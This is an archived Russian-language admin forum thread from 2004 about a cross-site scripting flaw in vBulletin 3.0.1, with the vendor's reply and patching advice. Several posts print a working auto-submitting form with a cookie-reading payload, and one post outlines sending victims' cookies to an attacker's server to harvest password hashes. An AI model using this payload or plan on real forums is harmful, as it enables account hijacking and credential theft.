Форум сетевых администраторов
Показаны 32 сообщений на этой странице

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- VBulletin 3.x.x (http://netadmin.ws/forum/forumdisplay.php?forumid=74)
-- Баг в vBulletin 3.0.1 (http://netadmin.ws/forum/showthread.php?threadid=9047)


Помещено Yoghurt 28-06-2004 в 11:27:

Баг в vBulletin 3.0.1

Обнаружена уязвимость в vBulletin. Удаленный атакующий может получить доступ к важной информации пользователей.

Пример:

code:

<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt; 



Подсмотрел тут

__________________
Жизнь - вредная штука, от нее умирают...


Помещено phprus 28-06-2004 в 14:34:

Yoghurt
Надо чтобы админ вставил это шаблон? я правильно понимаю?


Помещено GenUS 28-06-2004 в 15:58:

Мля .... действительно работает .... (
Нужно что-то делать ....

__________________
.


Помещено GenUS 28-06-2004 в 16:09:

Более корректный вот этот код:
code:

<form action="http://forum/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="441" />
<input name="p" value="6308" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>


В input name="t" вписывается ID ветки ...
В input name="p" вписывается ID любого сообщения из этой ветки ...

Если концовку заменить на:

code:
..........
<input type="submit" class="button" name="sbutton"/>
</form>
<script>
document.all.sbutton.click();
</script>

То будет постится сразу и будет показывать в посте:
[img]java script:alert(document.cookie)[/img] и никаких Alert-ов ....

ЗЫ В аттаче скриншот того, что происходит при превью ...

__________________
.


Помещено MCTarakan 28-06-2004 в 17:02:

интересно, а на 3.0.0 тоже рабоатет? и ваще-то я не понял.. что именно надо сделать с этим кодом? Ввести его в форму ответа или что?

MCTarakan добавил 28-06-2004 в 17:03:21:
да, я так понял в инфе все-равно пароль который засекречен MD5? Его можно расшифровать или нет?

__________________
yMC.ru - хомяк музыканта


Помещено GenUS 28-06-2004 в 17:20:

MCTarakan
В отдельный html файл вставляешь и в браузере открываешь его ...

MD5 расшифровать при возможности можно ... чаще всего только брутфорсом ... хотя кажется в 3.0.x в исходный пароль "подмешивается" еще что-то ... так-что в этом случае расшифровать становится значительно сложней ....

__________________
.


Помещено phprus 28-06-2004 в 17:30:

А на vb3.0.0 эта дыра есть?


Помещено MCTarakan 28-06-2004 в 17:44:

в 3.0.0 вроде эта дыра не заработала (во всяком случае у меня)...

__________________
yMC.ru - хомяк музыканта


Помещено Minister 29-06-2004 в 00:31:

GenUS
То, что с паролем подмешивается, этого мало. Там подмешивается какая-то подборка чисел, которую можно и самому изменить. Но толку от этого мало будет.
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.

__________________
Gets.ru - Компьютерный Портал


Помещено NeoExpert 30-06-2004 в 01:36:

quote:

Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.


Лучше мешать с самим паролем. То есть восстановлению не подлежит.


Помещено Minister 30-06-2004 в 06:24:

NeoExpert
Логично! Но на вряд ли получится, т.к. сессия постоянно разная, т.е. получится что один раз смешалась, а потом когда система будет проверять пароль, то в конечном итоге все прийдет к тому, что система будет ругаться что пароль неверный.

__________________
Gets.ru - Компьютерный Портал


Помещено W.M. 30-06-2004 в 08:00:

А в чем "дыра" заключается? Что ты сам свой MD5 пароль увидишь?


Помещено MCTarakan 30-06-2004 в 12:47:

W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

__________________
yMC.ru - хомяк музыканта


Помещено W.M. 30-06-2004 в 13:53:

аа я понял... типа пытаемся обмануть борду что мы хотим preview и она наивно нам отдается вместе со всеми MD5 :-)

Я вообще не понимаю - зачем в куках хранить хеш пароля... еще бы кредитки номер отдавали... куки же не секьюрные, по http передаются (за редким исключением)...


Помещено DimonT 30-06-2004 в 22:21:

quote:
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

я, возможно, чего-то не понимаю, но откуда в чужом посте могут взяться куки, тем более - с md5 его автора?!
quote:
Я вообще не понимаю - зачем в куках хранить хеш пароля...
чтобы тебя авторизовать автоматом могло при входе на форум.

__________________
вот так вот...

ICQ 937160


Помещено Killer911 01-07-2004 в 08:36:

Я вот крутил вертел это дело и так и не догнал в чем собственно дыра заключается ?
Если всё упирается в куки то это бред сивой кобылы:
Куки по определению иформация оставляемая сервером на машине клиента ... и если чел авторизировался на борде, то он увидит свои куки по хосту на котором борда висит .... если он вообще к борде не имеет отношение он даже никаких хешей паролей не увидит ... не говоря уже о том чтобы из хеша каким бы то нибыло образом получить исходный пароль ... причем опять свой же.

__________________
Athlon 2400, 512Mb, 120G+160G
RedHat Linux 9
NFSU:LAN, BF1942, PvPGN 1.6.3
vB 3.0.1
vB Advanced


Помещено W.M. 01-07-2004 в 08:41:

quote:
я, возможно, чего-то не понимаю, но откуда в чужом посте могут взяться куки, тем более - с md5 его автора?!
Я вот тоже думаю - по идее елси это был запрос на Preview, значит должен MD5 провериться, т.е. звться из куков клиента. Если его там нет - значит попытка хака. Если же такое на стороне скриптов не производится, то любой может написать от имени любого.
Либо же покажется твой MD5, а тебе он и так известен.

На счет хранения MD5 в принципе логично, иначе приходилось бы держать много сессий в базе (если аутентифицировать по сессии), либо приходилось бы пароль вводить часто.

Тем более, как уже говорилось раньше, знание MD5 вовсе не говорит о знании пароля - сначала нужно узнать, что за число подмешивается к паролю при хешировании, и только потом пытаться ломать в лоб. А что мешает мне установить это произвольно?

Хотя в принципе неприятно... поэтому я и не пользуюсь VB3.x.x... Вот когда выпустят версию без детских болезней, можно будет подумать :-)


Помещено GenUS 01-07-2004 в 16:46:

Подумал тут на днях ...
.... допустим, что в хэш пароля на форуме не подмешивается что-либо для увеличения стойкости пароля ... тогда:

С помощью этого эксплоита (конечно-же доработанного) можно получить MD5-хэш пароля и ID пользователя атакуемого форума но при некоторых условиях:
1) пользователь должен быть зарегистрирован на автоматический вход с помощью куков
2) этот пользователь должен зайти на специально подготовленную страницу вспомогательного сервера

Если в код этого эксплоита заместо java script:alert(document.cookie) поставить JavaScript-код чтобы он перенаправлял обратно на PHP скрипт "вспомогательного сервера" с данными Cookies (допустим через GET) .... то можно легко получать связку: ID пользователя + MD5-хэш пароля пользователя атакуемого форума .....
Далее раздаем ссылку на эксплоит юзерам атакуемого форума и ждем ...... сливаем связки со вспомогательного сервера и расшифровываем хэш например с помощью MD5Inside ... а имя пользователя зная ID узнать не проблема ....

На поминаю это имеет смысл, если в хэш пароля не подмешивается специальный код форума ..... счастливым обладателям 3.0.1 версии не о чем беспокоится ...... на всякий случай можно проверить:
в файле includes/sessions.php примерно на 190-200й строке ищем

code:

if (md5($bbuserinfo['password'] . 'XXXXXXXXXX') == $_COOKIE[COOKIE_PREFIX . 'password'])

'XXXXXXXXXX' - это и есть подмешиваемый код, чем он длинней, тем безопасней получается хэш пароля, хранимый в куках ....

Есть еще один способ использования этого эксплоита, но не буду его писать ... кто умный - тот догадается как его использовать ....

ЗЫ Ð_то не пособие по взлому форума .... это просто теория .... практика - на вашей совести .....

ЗЗЫ У кого лады с инглишом? Поищите на оффсайте заплатку.

__________________
.


Помещено MCTarakan 02-07-2004 в 05:30:

quote:
ЗЗЫ У кого лады с инглишом? Поищите на оффсайте заплатку.

вот чо там написано:
quote:
Been reported already and was fixed in cvs.

We're not classing this as critical as any uses of this will get the user a hashed password thats hashed 3 times over.

md5 password:
md5(md5(md5(password) + salt) + key)

Admin and mod panels require entering of the original password so this will be fixed with 3.0.2 when its released.

I've edited your report rather than hide it.

If your really concerned about this anyway then turn off the wysiwyg editor and use the regular editor until 3.0.2 is out..

Т.е. они НЕ расценивают этот баг как критический, фикс есть в cvs а также будет зафиксен в 3.0.2 када она выйдет! Кста, также этот баг работает ТОЛЬКО с врубленным wysiwyg

__________________
yMC.ru - хомяк музыканта


Помещено MCTarakan 02-07-2004 в 19:14:

GenUS извини, я не проф, поэтому тебе не могу ответить! Я только процитировал разрабов!

__________________
yMC.ru - хомяк музыканта


Помещено MCTarakan 03-07-2004 в 13:25:

GenUS и могеш узнавать пароль модераторов?

__________________
yMC.ru - хомяк музыканта


Помещено MCTarakan 04-07-2004 в 18:22:

GenUS ага... понял!

__________________
yMC.ru - хомяк музыканта


Помещено Vanish 05-07-2004 в 17:13:

не народ вы еще пособие к взлому форумов напишите цены не будет, хакеры млин.
GenUS потри свои посты после 02-07-2004 19:21, а то придется самому потереть еще и предупреждений дать.

не народ вы головой то думаете, ну знаете, ну молчите, а то получается что то вроде ксекеп.ру, щас начитаются сопливые дебилы и пойдут форумы ломать, оно вам надо?

__________________
No pity, no mercy, no regret.


Помещено GenUS 05-07-2004 в 18:46:

Vanish
Извиняюсь ... потер ...

__________________
.


Помещено MCTarakan 06-07-2004 в 00:08:

нада было просто перенести было все в раздел про "Ломаем"

__________________
yMC.ru - хомяк музыканта


Помещено SIN 04-08-2004 в 01:35:

А мне интересно знать дыры не для того чтобы взламывать чужие форумы, а чтобы защитить свой... Хочу знать, как ломается! Ну или хотя бы как защитить в данной ситуации.

__________________
Жду ответа как байкер лета!


Помещено MCTarakan 04-08-2004 в 10:04:

защитить просто - качнуть фикс! или сделать самому, что уже лично для меня сложнее!

__________________
yMC.ru - хомяк музыканта


Помещено SIN 04-08-2004 в 15:33:

MCTarakan
фикс - ты имеешь в виду сделать апгрейд до 303 (последняя версия на данный момент)?

__________________
Жду ответа как байкер лета!


Помещено MCTarakan 04-08-2004 в 20:58:

угу! или иногда они выпускают фикс - это просто пофиксенные файлы!

__________________
yMC.ru - хомяк музыканта


Помещено rimer 05-08-2004 в 09:57:

MCTarakan

иногда они выпускают фикс

хорошо бы его поиметь, апгрейдится полностью каждую неделю/две не очень хочется


Помещено MCTarakan 05-08-2004 в 10:11:

quote:
If your really concerned about this anyway then turn off the wysiwyg editor and use the regular editor until 3.0.2 is out..

к сожалению по данному "багу" они решили его НЕ выпускать, а включили его фикс в версию 3.0.2

__________________
yMC.ru - хомяк музыканта


Помещено rimer 05-08-2004 в 10:24:

MCTarakan

а сковырнуть его оттуда никак?


Формат времени GMT. Текущее время 22:54.
Показаны 32 сообщений на этой странице

Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.